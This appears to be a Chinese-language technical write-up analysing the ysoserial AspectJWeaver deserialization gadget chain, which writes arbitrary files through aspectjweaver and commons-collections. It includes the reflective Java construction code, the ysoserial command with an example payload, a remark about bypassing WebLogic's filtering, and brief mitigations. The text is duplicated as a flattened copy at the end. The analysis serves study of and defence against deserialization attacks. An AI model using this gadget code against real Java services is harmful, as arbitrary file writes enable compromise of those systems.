ysoserial AspectJWeaver file write gadget
字数 1427 2025-08-10 08:28:35

AspectJWeaver文件写入Gadget分析

1. 漏洞概述

AspectJWeaver是ysoserial工具中新添加的一个反序列化利用链,利用该链可以在目标系统上实现任意文件写入。该漏洞利用了AspectJ Weaver库中的SimpleCache$StoreableCachingMap类以及Apache Commons Collections中的相关类。

2. 依赖环境

  • org.aspectj:aspectjweaver:1.9.2
  • commons-collections:commons-collections:3.2.2

3. 利用链分析

完整的Gadget链如下:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

3.1 关键类分析

3.1.1 SimpleCache$StoreableCachingMap

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap类有两个关键方法:

  1. writeToPath方法:

    • 参数key作为文件名
    • 参数value作为文件内容
    • 直接将内容写入指定文件
  2. put方法:

    • 调用writeToPath方法
    • 实现了将数据写入文件的功能

3.1.2 Commons Collections相关类

  1. LazyMap

    • 当调用get方法时,如果key不存在,会使用Transformer生成value
    • 这里使用ConstantTransformer固定返回要写入的内容
  2. TiedMapEntry

    • 将Map和key绑定在一起
    • 调用hashCode时会触发getValue方法

3.2 触发流程

  1. 反序列化起点HashSet.readObject()

    • 反序列化时会调用内部HashMap的put方法
  2. HashMap操作

    • HashMap.put() -> HashMap.hash()
    • 计算key的hashCode
  3. TiedMapEntry触发

    • 当key是TiedMapEntry时,调用其hashCode()
    • hashCode() -> getValue()
  4. LazyMap触发

    • getValue() -> LazyMap.get()
    • 使用ConstantTransformer返回要写入的内容
  5. 文件写入

    • LazyMap.get() -> SimpleCache$StorableCachingMap.put()
    • put() -> writeToPath()
    • 最终将内容写入指定文件

4. 利用代码分析

4.1 核心构造代码

// 构造SimpleCache$StoreableCachingMap实例
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);

// 使用ConstantTransformer固定返回要写入的内容
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);

// 将Map和key绑定
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

// 构造HashSet触发点
HashSet map = new HashSet(1);
map.add("foo");

// 通过反射修改HashSet内部Map的key为我们的TiedMapEntry
Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);

4.2 使用方法

java -jar ysoserial.jar AspectJWeaver "<filename>;<base64 content>"

示例:

java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="

5. 防御与限制

  1. WebLogic限制

    • WebLogic已经过滤了org.apache.commons.collections.functors包名
    • 需要寻找新的绕过方法
  2. 防御措施

    • 更新AspectJ Weaver和Commons Collections到最新版本
    • 实施反序列化过滤
    • 限制Java反序列化操作

6. 参考链接

7. 总结

AspectJWeaver gadget是一个利用反序列化实现任意文件写入的漏洞链,结合了AspectJ Weaver和Commons Collections的特性。虽然WebLogic已经对部分类进行了过滤,但该技术仍可用于其他存在类似环境的系统中。理解该漏洞链有助于开发者更好地防御反序列化攻击。

AspectJWeaver文件写入Gadget分析 1. 漏洞概述 AspectJWeaver是ysoserial工具中新添加的一个反序列化利用链,利用该链可以在目标系统上实现任意文件写入。该漏洞利用了AspectJ Weaver库中的 SimpleCache$StoreableCachingMap 类以及Apache Commons Collections中的相关类。 2. 依赖环境 org.aspectj:aspectjweaver:1.9.2 commons-collections:commons-collections:3.2.2 3. 利用链分析 完整的Gadget链如下: 3.1 关键类分析 3.1.1 SimpleCache$StoreableCachingMap org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap 类有两个关键方法: writeToPath 方法: 参数key作为文件名 参数value作为文件内容 直接将内容写入指定文件 put 方法: 调用 writeToPath 方法 实现了将数据写入文件的功能 3.1.2 Commons Collections相关类 LazyMap : 当调用get方法时,如果key不存在,会使用Transformer生成value 这里使用 ConstantTransformer 固定返回要写入的内容 TiedMapEntry : 将Map和key绑定在一起 调用hashCode时会触发getValue方法 3.2 触发流程 反序列化起点 : HashSet.readObject() 反序列化时会调用内部HashMap的put方法 HashMap操作 : HashMap.put() -> HashMap.hash() 计算key的hashCode TiedMapEntry触发 : 当key是 TiedMapEntry 时,调用其 hashCode() hashCode() -> getValue() LazyMap触发 : getValue() -> LazyMap.get() 使用 ConstantTransformer 返回要写入的内容 文件写入 : LazyMap.get() -> SimpleCache$StorableCachingMap.put() put() -> writeToPath() 最终将内容写入指定文件 4. 利用代码分析 4.1 核心构造代码 4.2 使用方法 示例: 5. 防御与限制 WebLogic限制 : WebLogic已经过滤了 org.apache.commons.collections.functors 包名 需要寻找新的绕过方法 防御措施 : 更新AspectJ Weaver和Commons Collections到最新版本 实施反序列化过滤 限制Java反序列化操作 6. 参考链接 Medium文章 7. 总结 AspectJWeaver gadget是一个利用反序列化实现任意文件写入的漏洞链,结合了AspectJ Weaver和Commons Collections的特性。虽然WebLogic已经对部分类进行了过滤,但该技术仍可用于其他存在类似环境的系统中。理解该漏洞链有助于开发者更好地防御反序列化攻击。